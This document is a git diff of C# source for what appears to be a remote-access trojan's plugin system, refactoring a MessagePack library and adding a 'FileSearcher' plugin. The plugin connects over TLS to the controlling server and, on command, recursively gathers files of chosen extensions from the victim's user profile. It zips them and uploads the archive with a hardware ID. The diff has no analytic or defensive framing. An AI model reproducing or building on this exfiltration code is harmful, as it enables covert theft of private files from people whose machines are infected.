return BytesTools.GetString(rawBytes);
}
}
}

View File

@ -1,199 +0,0 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

View File

@ -1,5 +1,5 @@
using Plugin.Handler;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;

View File

@ -1,4 +1,4 @@
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;

View File

@ -9,7 +9,7 @@ using System.Net.Security;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Net;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
// │ Author : NYAN CAT
// │ Name : Nyan Socket v0.1

View File

@ -1,45 +0,0 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="ILMerge" version="3.0.29" targetFramework="net40" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40" />
</packages>

View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30002.166
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileSearcher", "FileSearcher\FileSearcher.csproj", "{9D1D39D8-2387-46ED-A4A8-59D250C97F35}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {3B852AFB-3605-49E9-9364-8EDEF4D95072}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,229 @@
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Connection
{
public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; }
private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; }
public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object();
public static string Hwid { get; set; }
public static void InitializeClient(byte[] packet)
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
};
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
if (TcpClient.Connected)
{
Debug.WriteLine("Plugin Connected!");
IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
HeaderSize = 4;
Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
new Thread(() =>
{
Packet.Read(packet);
}).Start();
}
else
{
IsConnected = false;
return;
}
}
catch
{
Debug.WriteLine("Disconnected!");
IsConnected = false;
return;
}
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
return true;
#endif
return ServerCertificate.Equals(certificate);
}
public static void Disconnected()
{
try
{
try
{
if (File.Exists(Packet.ZipfilePath))
{
File.Delete(Packet.ZipfilePath);
}
}
catch { }
IsConnected = false;
Tick?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
GC.Collect();
}
catch { }
}
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{
try
{
if (!TcpClient.Connected || !IsConnected)
{
Disconnected();
return;
}
int recevied = SslClient.EndRead(ar);
if (recevied > 0)
{
Offset += recevied;
HeaderSize -= recevied;
if (HeaderSize == 0)
{
HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
if (HeaderSize > 0)
{
Offset = 0;
Buffer = new byte[HeaderSize];
while (HeaderSize > 0)
{
int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc <= 0)
{
Disconnected();
return;
}
Offset += rc;
HeaderSize -= rc;
if (HeaderSize < 0)
{
Disconnected();
return;
}
}
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(Buffer);
Offset = 0;
HeaderSize = 4;
Buffer = new byte[HeaderSize];
}
else
{
HeaderSize = 4;
Buffer = new byte[HeaderSize];
Offset = 0;
}
}
else if (HeaderSize < 0)
{
Disconnected();
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
}
else
{
Disconnected();
return;
}
}
catch
{
Disconnected();
return;
}
}
public static void Send(byte[] msg)
{
lock (SendSync)
{
try
{
if (!IsConnected || msg == null)
{
return;
}
byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length);
if (msg.Length > 1000000) //1mb
{
using (MemoryStream memoryStream = new MemoryStream(msg))
{
int read = 0;
memoryStream.Position = 0;
byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Debug.WriteLine("Plugin Packet Sent");
}
catch
{
IsConnected = false;
return;
}
}
}
public static void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
Send(msgpack.Encode2Bytes());
GC.Collect();
}
}
}

View File

@ -0,0 +1,78 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props" Condition="Exists('..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" />
<Import Project="..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" />
<Import Project="..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{9D1D39D8-2387-46ED-A4A8-59D250C97F35}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Plugin</RootNamespace>
<AssemblyName>FileSearcher</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\..\..\Binaries\Debug\Plugins\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
<HintPath>..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
</Reference>
<Reference Include="Ionic.Zip.Reduced, Version=1.9.1.8, Culture=neutral, PublicKeyToken=edbe51ad942a3f5c, processorArchitecture=MSIL">
<HintPath>..\..\..\packages\DotNetZip.Reduced.1.9.1.8\lib\net20\Ionic.Zip.Reduced.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Connection.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\..\MessagePack\MessagePackLib.csproj">
<Project>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</Project>
<Name>MessagePackLib</Name>
</ProjectReference>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Import Project="..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\packages\Fody.6.0.0\build\Fody.targets')" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props'))" />
<Error Condition="!Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Fody.6.0.0\build\Fody.targets'))" />
</Target>
<Import Project="..\..\..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" />
</Project>

View File

@ -0,0 +1,144 @@
using Ionic.Zip;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Packet
{
public readonly static string ZipfilePath = Path.GetTempFileName() + ".zip";
private static long SizeLimit = 5000000; //5MB
private static long CurrentSize = 0;
private static List<string> Extensions = new List<string>();
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "fileSearcher":
{
SizeLimit = unpack_msgpack.ForcePathObject("SizeLimit").AsInteger;
Debug.WriteLine(SizeLimit + "MB");
foreach (string s in unpack_msgpack.ForcePathObject("Extensions").AsString.Split(' '))
{
if (!string.IsNullOrEmpty(s))
Extensions.Add(s.Trim().ToLower());
}
Debug.WriteLine(string.Join(", ", Extensions));
Search();
break;
}
}
}
catch (Exception ex)
{
Error(ex.Message);
}
}
public static List<string> GetAllAccessibleFiles(string rootPath, List<string> alreadyFound = null)
{
if (alreadyFound == null)
alreadyFound = new List<string>();
DirectoryInfo di = new DirectoryInfo(rootPath);
var dirs = di.EnumerateDirectories();
foreach (DirectoryInfo dir in dirs)
{
if (!((dir.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden))
{
alreadyFound = GetAllAccessibleFiles(dir.FullName, alreadyFound);
}
}
var files = Directory.GetFiles(rootPath);
foreach (string file in files)
{
if (CurrentSize >= SizeLimit)
{
break;
}
if (Extensions.Contains(Path.GetExtension(file).ToLower()))
{
alreadyFound.Add(file);
CurrentSize = CurrentSize + new FileInfo(file).Length;
}
}
return alreadyFound;
}
private static void Search()
{
try
{
List<string> files = GetAllAccessibleFiles(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile));
if (files.Count == 0)
{
Log("FileSearcher: No files found");
}
else
{
if (Save(files))
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileSearcher";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("ZipFile").SetAsBytes(File.ReadAllBytes(ZipfilePath));
Connection.Send(msgpack.Encode2Bytes());
}
}
}
catch { return; }
}
private static bool Save(List<string> files)
{
try
{
if (File.Exists(ZipfilePath)) File.Delete(ZipfilePath);
Thread.Sleep(500);
using (ZipFile zip = new ZipFile())
{
foreach (string file in files)
{
zip.AddFile(file);
}
zip.Save(ZipfilePath);
}
return true;
}
catch { return false; }
}
private static void Error(string ex)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Error";
msgpack.ForcePathObject("Error").AsString = ex;
Connection.Send(msgpack.Encode2Bytes());
}
public static void Log(string message)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Logs";
msgpack.ForcePathObject("Message").AsString = message;
Connection.Send(msgpack.Encode2Bytes());
}
}
}

View File

@ -0,0 +1,44 @@
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public class Plugin
{
public static Socket Socket;
public static Mutex AppMutex;
public static string Mutex;
public static string BDOS;
public static string Install;
public static string InstallFile;
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install)
{
Debug.WriteLine("Plugin Invoked");
AppMutex = mutex;
Mutex = mtx;
BDOS = bdos;
Install = install;
Socket = socket;
Connection.ServerCertificate = certificate;
Connection.Hwid = hwid;
new Thread(() =>
{
Connection.InitializeClient(msgPack);
}).Start();
while (Connection.IsConnected)
{
Thread.Sleep(1000);
}
}
}
}

View File

@ -0,0 +1,35 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Costura.Fody" version="4.1.0" targetFramework="net40" />
<package id="DotNetZip.Reduced" version="1.9.1.8" targetFramework="net40" />
<package id="Fody" version="6.0.0" targetFramework="net40" developmentDependency="true" />
</packages>

View File

@ -1,4 +1,4 @@
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@ -190,6 +190,7 @@ namespace Plugin
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}

View File

@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8" ?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<!-- -->
<!-- ILMerge project-specific settings. Almost never need to be set explicitly. -->
<!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
<!-- -->
<!-- *** set this file to Type=None, CopyToOutput=Never *** -->
<!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
<ILMergeTransitive>true</ILMergeTransitive>
<!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
<ILMergeLibraryPath></ILMergeLibraryPath>
<!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
<ILMergePackagesPath></ILMergePackagesPath>
<!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
<ILMergeOrderFile></ILMergeOrderFile>
<!-- The strong key file name if not specified in the project -->
<ILMergeKeyFile></ILMergeKeyFile>
<!-- The assembly version if differs for the version of the main assembly -->
<ILMergeAssemblyVersion></ILMergeAssemblyVersion>
<!-- added in Version 1.0.4 -->
<ILMergeFileAlignment></ILMergeFileAlignment>
<!-- added in Version 1.0.4, default=none -->
<ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
<!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
<ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
<!-- See ILMerge documentation -->
<ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
<!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
<ILMergeCopyAttributes></ILMergeCopyAttributes>
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
<ILMergeDebugInfo>false</ILMergeDebugInfo>
<!-- Target assembly will be delay signed -->
<ILMergeDelaySign></ILMergeDelaySign>
<!-- Types in assemblies other than the primary assembly have their visibility modified -->
<ILMergeInternalize></ILMergeInternalize>
<!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
<ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
<!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
<ILMergeXmlDocumentation></ILMergeXmlDocumentation>
<!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
<ILMergePublicKeyTokens></ILMergePublicKeyTokens>
<!-- Types with the same name are all merged into a single type in the target assembly -->
<ILMergeUnionMerge></ILMergeUnionMerge>
<!-- The version of the target framework, default 40 (works for 45 too) -->
<ILTargetPlatform></ILTargetPlatform>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,4 @@
# this file contains the partial list of the merged assemblies in the merge order
# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
# and finetune merge order to your satisfaction

View File

@ -1,5 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
<Import Project="..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
@ -44,15 +46,31 @@
</ItemGroup>
<ItemGroup>
<Compile Include="Connection.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\..\MessagePack\MessagePackLib.csproj">
<Project>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</Project>
<Name>MessagePackLib</Name>
</ProjectReference>
</ItemGroup>
<ItemGroup>
<None Include="ILMerge.props" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<Content Include="ILMergeOrder.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
</Target>
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
</Project>

View File

@ -1,102 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
